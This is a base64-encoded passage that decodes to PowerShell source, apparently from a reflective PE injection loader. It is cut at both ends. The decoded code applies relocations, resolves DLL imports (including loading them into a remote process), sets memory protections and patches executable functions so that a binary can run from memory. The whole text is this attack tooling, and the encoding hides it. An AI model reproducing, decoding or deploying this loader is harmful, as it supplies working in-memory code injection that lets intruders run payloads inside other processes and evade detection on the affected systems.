CgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDIsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3lz dGVtLk9iamVjdF0KCQkkV2luMzJDb25zdGFudHMsCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9 IDMsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3lzdGVtLk9iamVjdF0KCQkkV2luMzJUeXBlcwoJ CSkKCQkKCQlbSW50NjRdJEJhc2VEaWZmZXJlbmNlID0gMAoJCSRBZGREaWZmZXJlbmNlID0gJHRy dWUgI1RyYWNrIGlmIHRoZSBkaWZmZXJlbmNlIHZhcmlhYmxlIHNob3VsZCBiZSBhZGRlZCBvciBz dWJ0cmFjdGVkIGZyb20gdmFyaWFibGVzCgkJW1VJbnQzMl0kSW1hZ2VCYXNlUmVsb2NTaXplID0g W1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXSRX aW4zMlR5cGVzLklNQUdFX0JBU0VfUkVMT0NBVElPTikKCQkKCgkJaWYgKCgkT3JpZ2luYWxJbWFn ZUJhc2UgLWVxIFtJbnQ2NF0kUEVJbmZvLkVmZmVjdGl2ZVBFSGFuZGxlKSBgCgkJCQktb3IgKCRQ RUluZm8uSU1BR0VfTlRfSEVBREVSUy5PcHRpb25hbEhlYWRlci5CYXNlUmVsb2NhdGlvblRhYmxl LlNpemUgLWVxIDApKQoJCXsKCQkJcmV0dXJuCgkJfQoKCgkJZWxzZWlmICgoQ29tcGFyZS1WYWwx R3JlYXRlclRoYW5WYWwyQXNVSW50ICgkT3JpZ2luYWxJbWFnZUJhc2UpICgkUEVJbmZvLkVmZmVj dGl2ZVBFSGFuZGxlKSkgLWVxICR0cnVlKQoJCXsKCQkJJEJhc2VEaWZmZXJlbmNlID0gU3ViLVNp Z25lZEludEFzVW5zaWduZWQgKCRPcmlnaW5hbEltYWdlQmFzZSkgKCRQRUluZm8uRWZmZWN0aXZl UEVIYW5kbGUpCgkJCSRBZGREaWZmZXJlbmNlID0gJGZhbHNlCgkJfQoJCWVsc2VpZiAoKENvbXBh cmUtVmFsMUdyZWF0ZXJUaGFuVmFsMkFzVUludCAoJFBFSW5mby5FZmZlY3RpdmVQRUhhbmRsZSkg KCRPcmlnaW5hbEltYWdlQmFzZSkpIC1lcSAkdHJ1ZSkKCQl7CgkJCSRCYXNlRGlmZmVyZW5jZSA9 IFN1Yi1TaWduZWRJbnRBc1Vuc2lnbmVkICgkUEVJbmZvLkVmZmVjdGl2ZVBFSGFuZGxlKSAoJE9y aWdpbmFsSW1hZ2VCYXNlKQoJCX0KCQkKCgkJW0ludFB0cl0kQmFzZVJlbG9jUHRyID0gW0ludFB0 cl0oQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKFtJbnQ2NF0kUEVJbmZvLlBFSGFuZGxlKSAoW0lu dDY0XSRQRUluZm8uSU1BR0VfTlRfSEVBREVSUy5PcHRpb25hbEhlYWRlci5CYXNlUmVsb2NhdGlv blRhYmxlLlZpcnR1YWxBZGRyZXNzKSkKCQl3aGlsZSgkdHJ1ZSkKCQl7CgoJCQkkQmFzZVJlbG9j YXRpb25UYWJsZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0 clRvU3RydWN0dXJlKCRCYXNlUmVsb2NQdHIsIFtUeXBlXSRXaW4zMlR5cGVzLklNQUdFX0JBU0Vf UkVMT0NBVElPTikKCgkJCWlmICgkQmFzZVJlbG9jYXRpb25UYWJsZS5TaXplT2ZCbG9jayAtZXEg MCkKCQkJewoJCQkJYnJlYWsKCQkJfQoKCQkJW0ludFB0cl0kTWVtQWRkckJhc2UgPSBbSW50UHRy XShBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoW0ludDY0XSRQRUluZm8uUEVIYW5kbGUpIChbSW50 NjRdJEJhc2VSZWxvY2F0aW9uVGFibGUuVmlydHVhbEFkZHJlc3MpKQoJCQkkTnVtUmVsb2NhdGlv bnMgPSAoJEJhc2VSZWxvY2F0aW9uVGFibGUuU2l6ZU9mQmxvY2sgLSAkSW1hZ2VCYXNlUmVsb2NT aXplKSAvIDIKCgoJCQlmb3IoJGkgPSAwOyAkaSAtbHQgJE51bVJlbG9jYXRpb25zOyAkaSsrKQoJ CQl7CgoJCQkJJFJlbG9jYXRpb25JbmZvUHRyID0gW0ludFB0cl0oQWRkLVNpZ25lZEludEFzVW5z aWduZWQgKFtJbnRQdHJdJEJhc2VSZWxvY1B0cikgKFtJbnQ2NF0kSW1hZ2VCYXNlUmVsb2NTaXpl ICsgKDIgKiAkaSkpKQoJCQkJW1VJbnQxNl0kUmVsb2NhdGlvbkluZm8gPSBbU3lzdGVtLlJ1bnRp bWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkUmVsb2NhdGlvbklu Zm9QdHIsIFtUeXBlXVtVSW50MTZdKQoKCgkJCQlbVUludDE2XSRSZWxvY09mZnNldCA9ICRSZWxv Y2F0aW9uSW5mbyAtYmFuZCAweDBGRkYKCQkJCVtVSW50MTZdJFJlbG9jVHlwZSA9ICRSZWxvY2F0 aW9uSW5mbyAtYmFuZCAweEYwMDAKCQkJCWZvciAoJGogPSAwOyAkaiAtbHQgMTI7ICRqKyspCgkJ CQl7CgkJCQkJJFJlbG9jVHlwZSA9IFtNYXRoXTo6Rmxvb3IoJFJlbG9jVHlwZSAvIDIpCgkJCQl9 CgoKCgoJCQkJaWYgKCgkUmVsb2NUeXBlIC1lcSAkV2luMzJDb25zdGFudHMuSU1BR0VfUkVMX0JB U0VEX0hJR0hMT1cpIGAKCQkJCQkJLW9yICgkUmVsb2NUeXBlIC1lcSAkV2luMzJDb25zdGFudHMu SU1BR0VfUkVMX0JBU0VEX0RJUjY0KSkKCQkJCXsJCQkKCgkJCQkJW0ludFB0cl0kRmluYWxBZGRy ID0gW0ludFB0cl0oQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKFtJbnQ2NF0kTWVtQWRkckJhc2Up IChbSW50NjRdJFJlbG9jT2Zmc2V0KSkKCQkJCQlbSW50UHRyXSRDdXJyQWRkciA9IFtTeXN0ZW0u UnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRGaW5hbEFk ZHIsIFtUeXBlXVtJbnRQdHJdKQoJCQoJCQkJCWlmICgkQWRkRGlmZmVyZW5jZSAtZXEgJHRydWUp CgkJCQkJewoJCQkJCQlbSW50UHRyXSRDdXJyQWRkciA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRB c1Vuc2lnbmVkIChbSW50NjRdJEN1cnJBZGRyKSAoJEJhc2VEaWZmZXJlbmNlKSkKCQkJCQl9CgkJ CQkJZWxzZQoJCQkJCXsKCQkJCQkJW0ludFB0cl0kQ3VyckFkZHIgPSBbSW50UHRyXShTdWItU2ln bmVkSW50QXNVbnNpZ25lZCAoW0ludDY0XSRDdXJyQWRkcikgKCRCYXNlRGlmZmVyZW5jZSkpCgkJ CQkJfQkJCQkKCgkJCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6 U3RydWN0dXJlVG9QdHIoJEN1cnJBZGRyLCAkRmluYWxBZGRyLCAkZmFsc2UpIHwgT3V0LU51bGwK CQkJCX0KCQkJCWVsc2VpZiAoJFJlbG9jVHlwZSAtbmUgJFdpbjMyQ29uc3RhbnRzLklNQUdFX1JF TF9CQVNFRF9BQlNPTFVURSkKCQkJCXsKCgkJCQkJVGhyb3cgIlVua25vd24gcmVsb2NhdGlvbiBm b3VuZCwgcmVsb2NhdGlvbiB2YWx1ZTogJFJlbG9jVHlwZSwgcmVsb2NhdGlvbmluZm86ICRSZWxv Y2F0aW9uSW5mbyIKCQkJCX0KCQkJfQoJCQkKCQkJJEJhc2VSZWxvY1B0ciA9IFtJbnRQdHJdKEFk ZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJEJhc2VSZWxvY1B0cikgKFtJbnQ2NF0kQmFz ZVJlbG9jYXRpb25UYWJsZS5TaXplT2ZCbG9jaykpCgkJfQoJfQoKCglGdW5jdGlvbiBJbXBvcnQt RGxsSW1wb3J0cwoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBNYW5kYXRv cnkgPSAkdHJ1ZSldCgkJW1N5c3RlbS5PYmplY3RdCgkJJFBFSW5mbywKCQkKCQlbUGFyYW1ldGVy KFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRX aW4zMkZ1bmN0aW9ucywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMiwgTWFuZGF0b3J5ID0g JHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRXaW4zMlR5cGVzLAoJCQoJCVtQYXJhbWV0ZXIo UG9zaXRpb24gPSAzLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N5c3RlbS5PYmplY3RdCgkJJFdp bjMyQ29uc3RhbnRzLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSA0LCBNYW5kYXRvcnkgPSAk ZmFsc2UpXQoJCVtJbnRQdHJdCgkJJFJlbW90ZVByb2NIYW5kbGUKCQkpCgkJCgkJJFJlbW90ZUxv YWRpbmcgPSAkZmFsc2UKCQlpZiAoJFBFSW5mby5QRUhhbmRsZSAtbmUgJFBFSW5mby5FZmZlY3Rp dmVQRUhhbmRsZSkKCQl7CgkJCSRSZW1vdGVMb2FkaW5nID0gJHRydWUKCQl9CgkJCgkJaWYgKCRQ RUluZm8uSU1BR0VfTlRfSEVBREVSUy5PcHRpb25hbEhlYWRlci5JbXBvcnRUYWJsZS5TaXplIC1n dCAwKQoJCXsKCQkJW0ludFB0cl0kSW1wb3J0RGVzY3JpcHRvclB0ciA9IEFkZC1TaWduZWRJbnRB c1Vuc2lnbmVkIChbSW50NjRdJFBFSW5mby5QRUhhbmRsZSkgKFtJbnQ2NF0kUEVJbmZvLklNQUdF X05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuSW1wb3J0VGFibGUuVmlydHVhbEFkZHJlc3MpCgkJ CQoJCQl3aGlsZSAoJHRydWUpCgkJCXsKCQkJCSRJbXBvcnREZXNjcmlwdG9yID0gW1N5c3RlbS5S dW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJEltcG9ydERl c2NyaXB0b3JQdHIsIFtUeXBlXSRXaW4zMlR5cGVzLklNQUdFX0lNUE9SVF9ERVNDUklQVE9SKQoJ CQkJCgoJCQkJaWYgKCRJbXBvcnREZXNjcmlwdG9yLkNoYXJhY3RlcmlzdGljcyAtZXEgMCBgCgkJ CQkJCS1hbmQgJEltcG9ydERlc2NyaXB0b3IuRmlyc3RUaHVuayAtZXEgMCBgCgkJCQkJCS1hbmQg JEltcG9ydERlc2NyaXB0b3IuRm9yd2FyZGVyQ2hhaW4gLWVxIDAgYAoJCQkJCQktYW5kICRJbXBv cnREZXNjcmlwdG9yLk5hbWUgLWVxIDAgYAoJCQkJCQktYW5kICRJbXBvcnREZXNjcmlwdG9yLlRp bWVEYXRlU3RhbXAgLWVxIDApCgkJCQl7CgkJCQkJV3JpdGUtVmVyYm9zZSAiRG9uZSBpbXBvcnRp bmcgRExMIGltcG9ydHMiCgkJCQkJYnJlYWsKCQkJCX0KCgkJCQkkSW1wb3J0RGxsSGFuZGxlID0g W0ludFB0cl06Olplcm8KCQkJCSRJbXBvcnREbGxQYXRoUHRyID0gKEFkZC1TaWduZWRJbnRBc1Vu c2lnbmVkIChbSW50NjRdJFBFSW5mby5QRUhhbmRsZSkgKFtJbnQ2NF0kSW1wb3J0RGVzY3JpcHRv ci5OYW1lKSkKCQkJCSRJbXBvcnREbGxQYXRoID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2 aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJpbmdBbnNpKCRJbXBvcnREbGxQYXRoUHRyKQoJCQkJCgkJ CQlpZiAoJFJlbW90ZUxvYWRpbmcgLWVxICR0cnVlKQoJCQkJewoJCQkJCSRJbXBvcnREbGxIYW5k bGUgPSBJbXBvcnQtRGxsSW5SZW1vdGVQcm9jZXNzIC1SZW1vdGVQcm9jSGFuZGxlICRSZW1vdGVQ cm9jSGFuZGxlIC1JbXBvcnREbGxQYXRoUHRyICRJbXBvcnREbGxQYXRoUHRyCgkJCQl9CgkJCQll bHNlCgkJCQl7CgkJCQkJJEltcG9ydERsbEhhbmRsZSA9ICRXaW4zMkZ1bmN0aW9ucy5Mb2FkTGli cmFyeS5JbnZva2UoJEltcG9ydERsbFBhdGgpCgkJCQl9CgoJCQkJaWYgKCgkSW1wb3J0RGxsSGFu ZGxlIC1lcSAkbnVsbCkgLW9yICgkSW1wb3J0RGxsSGFuZGxlIC1lcSBbSW50UHRyXTo6WmVybykp CgkJCQl7CgkJCQkJdGhyb3cgIkVycm9yIGltcG9ydGluZyBETEwsIERMTE5hbWU6ICRJbXBvcnRE bGxQYXRoIgoJCQkJfQoJCQkJCgoJCQkJW0ludFB0cl0kVGh1bmtSZWYgPSBBZGQtU2lnbmVkSW50 QXNVbnNpZ25lZCAoJFBFSW5mby5QRUhhbmRsZSkgKCRJbXBvcnREZXNjcmlwdG9yLkZpcnN0VGh1 bmspCgkJCQlbSW50UHRyXSRPcmlnaW5hbFRodW5rUmVmID0gQWRkLVNpZ25lZEludEFzVW5zaWdu ZWQgKCRQRUluZm8uUEVIYW5kbGUpICgkSW1wb3J0RGVzY3JpcHRvci5DaGFyYWN0ZXJpc3RpY3Mp ICNDaGFyYWN0ZXJpc3RpY3MgaXMgb3ZlcmxvYWRlZCB3aXRoIE9yaWdpbmFsRmlyc3RUaHVuawoJ CQkJW0ludFB0cl0kT3JpZ2luYWxUaHVua1JlZlZhbCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9w U2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRPcmlnaW5hbFRodW5rUmVmLCBbVHlw ZV1bSW50UHRyXSkKCQkJCQoJCQkJd2hpbGUgKCRPcmlnaW5hbFRodW5rUmVmVmFsIC1uZSBbSW50 UHRyXTo6WmVybykKCQkJCXsKCQkJCQkkUHJvY2VkdXJlTmFtZSA9ICcnCgoKCgkJCQkJW0ludFB0 cl0kTmV3VGh1bmtSZWYgPSBbSW50UHRyXTo6WmVybwoJCQkJCWlmKFtJbnQ2NF0kT3JpZ2luYWxU aHVua1JlZlZhbCAtbHQgMCkKCQkJCQl7CgkJCQkJCSRQcm9jZWR1cmVOYW1lID0gW0ludDY0XSRP cmlnaW5hbFRodW5rUmVmVmFsIC1iYW5kIDB4ZmZmZiAjVGhpcyBpcyBhY3R1YWxseSBhIGxvb2t1 cCBieSBvcmRpbmFsCgkJCQkJfQoJCQkJCWVsc2UKCQkJCQl7CgkJCQkJCVtJbnRQdHJdJFN0cmlu Z0FkZHIgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoJFBFSW5mby5QRUhhbmRsZSkgKCRPcmln aW5hbFRodW5rUmVmVmFsKQoJCQkJCQkkU3RyaW5nQWRkciA9IEFkZC1TaWduZWRJbnRBc1Vuc2ln bmVkICRTdHJpbmdBZGRyIChbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxd OjpTaXplT2YoW1R5cGVdW1VJbnQxNl0pKQoJCQkJCQkkUHJvY2VkdXJlTmFtZSA9IFtTeXN0ZW0u UnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RyaW5nQW5zaSgkU3RyaW5n QWRkcikKCQkJCQl9CgkJCQkJCgkJCQkJaWYgKCRSZW1vdGVMb2FkaW5nIC1lcSAkdHJ1ZSkKCQkJ CQl7CgkJCQkJCVtJbnRQdHJdJE5ld1RodW5rUmVmID0gR2V0LVJlbW90ZVByb2NBZGRyZXNzIC1S ZW1vdGVQcm9jSGFuZGxlICRSZW1vdGVQcm9jSGFuZGxlIC1SZW1vdGVEbGxIYW5kbGUgJEltcG9y dERsbEhhbmRsZSAtRnVuY3Rpb25OYW1lICRQcm9jZWR1cmVOYW1lCgkJCQkJfQoJCQkJCWVsc2UK CQkJCQl7CgkJCQkJCWlmKCRQcm9jZWR1cmVOYW1lIC1pcyBbc3RyaW5nXSkKCQkJCQkJewoJCQkJ CQkgICAgW0ludFB0cl0kTmV3VGh1bmtSZWYgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0FkZHJl c3MuSW52b2tlKCRJbXBvcnREbGxIYW5kbGUsICRQcm9jZWR1cmVOYW1lKQoJCQkJCQl9CgkJCQkJ CWVsc2UKCQkJCQkJewoJCQkJCQkgICAgW0ludFB0cl0kTmV3VGh1bmtSZWYgPSAkV2luMzJGdW5j dGlvbnMuR2V0UHJvY0FkZHJlc3NPcmRpbmFsLkludm9rZSgkSW1wb3J0RGxsSGFuZGxlLCAkUHJv Y2VkdXJlTmFtZSkKCQkJCQkJfQoJCQkJCX0KCQkJCQkKCQkJCQlpZiAoJE5ld1RodW5rUmVmIC1l cSAkbnVsbCAtb3IgJE5ld1RodW5rUmVmIC1lcSBbSW50UHRyXTo6WmVybykKCQkJCQl7CgkJCQkJ CVRocm93ICJOZXcgZnVuY3Rpb24gcmVmZXJlbmNlIGlzIG51bGwsIHRoaXMgaXMgYWxtb3N0IGNl cnRhaW5seSBhIGJ1ZyBpbiB0aGlzIHNjcmlwdC4gRnVuY3Rpb246ICRQcm9jZWR1cmVOYW1lLiBE bGw6ICRJbXBvcnREbGxQYXRoIgoJCQkJCX0KCgkJCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BT ZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJE5ld1RodW5rUmVmLCAkVGh1bmtSZWYs ICRmYWxzZSkKCQkJCQkKCQkJCQkkVGh1bmtSZWYgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAo W0ludDY0XSRUaHVua1JlZikgKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hh bF06OlNpemVPZihbVHlwZV1bSW50UHRyXSkpCgkJCQkJW0ludFB0cl0kT3JpZ2luYWxUaHVua1Jl ZiA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJE9yaWdpbmFsVGh1bmtSZWYpIChb U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5cGVdW0lu dFB0cl0pKQoJCQkJCVtJbnRQdHJdJE9yaWdpbmFsVGh1bmtSZWZWYWwgPSBbU3lzdGVtLlJ1bnRp bWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkT3JpZ2luYWxUaHVu a1JlZiwgW1R5cGVdW0ludFB0cl0pCgkJCQl9CgkJCQkKCQkJCSRJbXBvcnREZXNjcmlwdG9yUHRy ID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKCRJbXBvcnREZXNjcmlwdG9yUHRyKSAoW1N5c3Rl bS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXSRXaW4zMlR5 cGVzLklNQUdFX0lNUE9SVF9ERVNDUklQVE9SKSkKCQkJfQoJCX0KCX0KCglGdW5jdGlvbiBHZXQt VmlydHVhbFByb3RlY3RWYWx1ZQoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAw LCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1VJbnQzMl0KCQkkU2VjdGlvbkNoYXJhY3RlcmlzdGlj cwoJCSkKCQkKCQkkUHJvdGVjdGlvbkZsYWcgPSAweDAKCQlpZiAoKCRTZWN0aW9uQ2hhcmFjdGVy aXN0aWNzIC1iYW5kICRXaW4zMkNvbnN0YW50cy5JTUFHRV9TQ05fTUVNX0VYRUNVVEUpIC1ndCAw KQoJCXsKCQkJaWYgKCgkU2VjdGlvbkNoYXJhY3RlcmlzdGljcyAtYmFuZCAkV2luMzJDb25zdGFu dHMuSU1BR0VfU0NOX01FTV9SRUFEKSAtZ3QgMCkKCQkJewoJCQkJaWYgKCgkU2VjdGlvbkNoYXJh Y3RlcmlzdGljcyAtYmFuZCAkV2luMzJDb25zdGFudHMuSU1BR0VfU0NOX01FTV9XUklURSkgLWd0 IDApCgkJCQl7CgkJCQkJJFByb3RlY3Rpb25GbGFnID0gJFdpbjMyQ29uc3RhbnRzLlBBR0VfRVhF Q1VURV9SRUFEV1JJVEUKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQkkUHJvdGVjdGlvbkZsYWcg PSAkV2luMzJDb25zdGFudHMuUEFHRV9FWEVDVVRFX1JFQUQKCQkJCX0KCQkJfQoJCQllbHNlCgkJ CXsKCQkJCWlmICgoJFNlY3Rpb25DaGFyYWN0ZXJpc3RpY3MgLWJhbmQgJFdpbjMyQ29uc3RhbnRz LklNQUdFX1NDTl9NRU1fV1JJVEUpIC1ndCAwKQoJCQkJewoJCQkJCSRQcm90ZWN0aW9uRmxhZyA9 ICRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfV1JJVEVDT1BZCgkJCQl9CgkJCQllbHNlCgkJ CQl7CgkJCQkJJFByb3RlY3Rpb25GbGFnID0gJFdpbjMyQ29uc3RhbnRzLlBBR0VfRVhFQ1VURQoJ CQkJfQoJCQl9CgkJfQoJCWVsc2UKCQl7CgkJCWlmICgoJFNlY3Rpb25DaGFyYWN0ZXJpc3RpY3Mg LWJhbmQgJFdpbjMyQ29uc3RhbnRzLklNQUdFX1NDTl9NRU1fUkVBRCkgLWd0IDApCgkJCXsKCQkJ CWlmICgoJFNlY3Rpb25DaGFyYWN0ZXJpc3RpY3MgLWJhbmQgJFdpbjMyQ29uc3RhbnRzLklNQUdF X1NDTl9NRU1fV1JJVEUpIC1ndCAwKQoJCQkJewoJCQkJCSRQcm90ZWN0aW9uRmxhZyA9ICRXaW4z MkNvbnN0YW50cy5QQUdFX1JFQURXUklURQoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCSRQcm90 ZWN0aW9uRmxhZyA9ICRXaW4zMkNvbnN0YW50cy5QQUdFX1JFQURPTkxZCgkJCQl9CgkJCX0KCQkJ ZWxzZQoJCQl7CgkJCQlpZiAoKCRTZWN0aW9uQ2hhcmFjdGVyaXN0aWNzIC1iYW5kICRXaW4zMkNv bnN0YW50cy5JTUFHRV9TQ05fTUVNX1dSSVRFKSAtZ3QgMCkKCQkJCXsKCQkJCQkkUHJvdGVjdGlv bkZsYWcgPSAkV2luMzJDb25zdGFudHMuUEFHRV9XUklURUNPUFkKCQkJCX0KCQkJCWVsc2UKCQkJ CXsKCQkJCQkkUHJvdGVjdGlvbkZsYWcgPSAkV2luMzJDb25zdGFudHMuUEFHRV9OT0FDQ0VTUwoJ CQkJfQoJCQl9CgkJfQoJCQoJCWlmICgoJFNlY3Rpb25DaGFyYWN0ZXJpc3RpY3MgLWJhbmQgJFdp bjMyQ29uc3RhbnRzLklNQUdFX1NDTl9NRU1fTk9UX0NBQ0hFRCkgLWd0IDApCgkJewoJCQkkUHJv dGVjdGlvbkZsYWcgPSAkUHJvdGVjdGlvbkZsYWcgLWJvciAkV2luMzJDb25zdGFudHMuUEFHRV9O T0NBQ0hFCgkJfQoJCQoJCXJldHVybiAkUHJvdGVjdGlvbkZsYWcKCX0KCglGdW5jdGlvbiBVcGRh dGUtTWVtb3J5UHJvdGVjdGlvbkZsYWdzCgl7CgkJUGFyYW0oCgkJW1BhcmFtZXRlcihQb3NpdGlv biA9IDAsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3lzdGVtLk9iamVjdF0KCQkkUEVJbmZvLAoJ CQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N5c3Rl bS5PYmplY3RdCgkJJFdpbjMyRnVuY3Rpb25zLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAy LCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N5c3RlbS5PYmplY3RdCgkJJFdpbjMyQ29uc3RhbnRz LAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAzLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N5 c3RlbS5PYmplY3RdCgkJJFdpbjMyVHlwZXMKCQkpCgkJCgkJZm9yKCAkaSA9IDA7ICRpIC1sdCAk UEVJbmZvLklNQUdFX05UX0hFQURFUlMuRmlsZUhlYWRlci5OdW1iZXJPZlNlY3Rpb25zOyAkaSsr KQoJCXsKCQkJW0ludFB0cl0kU2VjdGlvbkhlYWRlclB0ciA9IFtJbnRQdHJdKEFkZC1TaWduZWRJ bnRBc1Vuc2lnbmVkIChbSW50NjRdJFBFSW5mby5TZWN0aW9uSGVhZGVyUHRyKSAoJGkgKiBbU3lz dGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5cGVdJFdpbjMy VHlwZXMuSU1BR0VfU0VDVElPTl9IRUFERVIpKSkKCQkJJFNlY3Rpb25IZWFkZXIgPSBbU3lzdGVt LlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkU2VjdGlv bkhlYWRlclB0ciwgW1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfU0VDVElPTl9IRUFERVIpCgkJCVtJ bnRQdHJdJFNlY3Rpb25QdHIgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoJFBFSW5mby5QRUhh bmRsZSkgKCRTZWN0aW9uSGVhZGVyLlZpcnR1YWxBZGRyZXNzKQoJCQkKCQkJW1VJbnQzMl0kUHJv dGVjdEZsYWcgPSBHZXQtVmlydHVhbFByb3RlY3RWYWx1ZSAkU2VjdGlvbkhlYWRlci5DaGFyYWN0 ZXJpc3RpY3MKCQkJW1VJbnQzMl0kU2VjdGlvblNpemUgPSAkU2VjdGlvbkhlYWRlci5WaXJ0dWFs U2l6ZQoJCQkKCQkJW1VJbnQzMl0kT2xkUHJvdGVjdEZsYWcgPSAwCgkJCVRlc3QtTWVtb3J5UmFu Z2VWYWxpZCAtRGVidWdTdHJpbmcgIlVwZGF0ZS1NZW1vcnlQcm90ZWN0aW9uRmxhZ3M6OlZpcnR1 YWxQcm90ZWN0IiAtUEVJbmZvICRQRUluZm8gLVN0YXJ0QWRkcmVzcyAkU2VjdGlvblB0ciAtU2l6 ZSAkU2VjdGlvblNpemUgfCBPdXQtTnVsbAoJCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5W aXJ0dWFsUHJvdGVjdC5JbnZva2UoJFNlY3Rpb25QdHIsICRTZWN0aW9uU2l6ZSwgJFByb3RlY3RG bGFnLCBbUmVmXSRPbGRQcm90ZWN0RmxhZykKCQkJaWYgKCRTdWNjZXNzIC1lcSAkZmFsc2UpCgkJ CXsKCQkJCVRocm93ICJVbmFibGUgdG8gY2hhbmdlIG1lbW9yeSBwcm90ZWN0aW9uIgoJCQl9CgkJ fQoJfQoJCgoKCUZ1bmN0aW9uIFVwZGF0ZS1FeGVGdW5jdGlvbnMKCXsKCQlQYXJhbSgKCQlbUGFy YW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0 XQoJCSRQRUluZm8sCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDEsIE1hbmRhdG9yeSA9ICR0 cnVlKV0KCQlbU3lzdGVtLk9iamVjdF0KCQkkV2luMzJGdW5jdGlvbnMsCgkJCgkJW1BhcmFtZXRl cihQb3NpdGlvbiA9IDIsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3lzdGVtLk9iamVjdF0KCQkk V2luMzJDb25zdGFudHMsCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDMsIE1hbmRhdG9yeSA9 ICR0cnVlKV0KCQlbU3RyaW5nXQoJCSRFeGVBcmd1bWVudHMsCgkJCgkJW1BhcmFtZXRlcihQb3Np dGlvbiA9IDQsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbSW50UHRyXQoJCSRFeGVEb25lQnl0ZVB0 cgoJCSkKCQkKCgkJJFJldHVybkFycmF5ID0gQCgpIAoJCQoJCSRQdHJTaXplID0gW1N5c3RlbS5S dW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJdKQoJ CVtVSW50MzJdJE9sZFByb3RlY3RGbGFnID0gMAoJCQoJCVtJbnRQdHJdJEtlcm5lbDMySGFuZGxl ID0gJFdpbjMyRnVuY3Rpb25zLkdldE1vZHVsZUhhbmRsZS5JbnZva2UoIktlcm5lbDMyLmRsbCIp CgkJaWYgKCRLZXJuZWwzMkhhbmRsZSAtZXEgW0ludFB0cl06Olplcm8pCgkJewoJCQl0aHJvdyAi 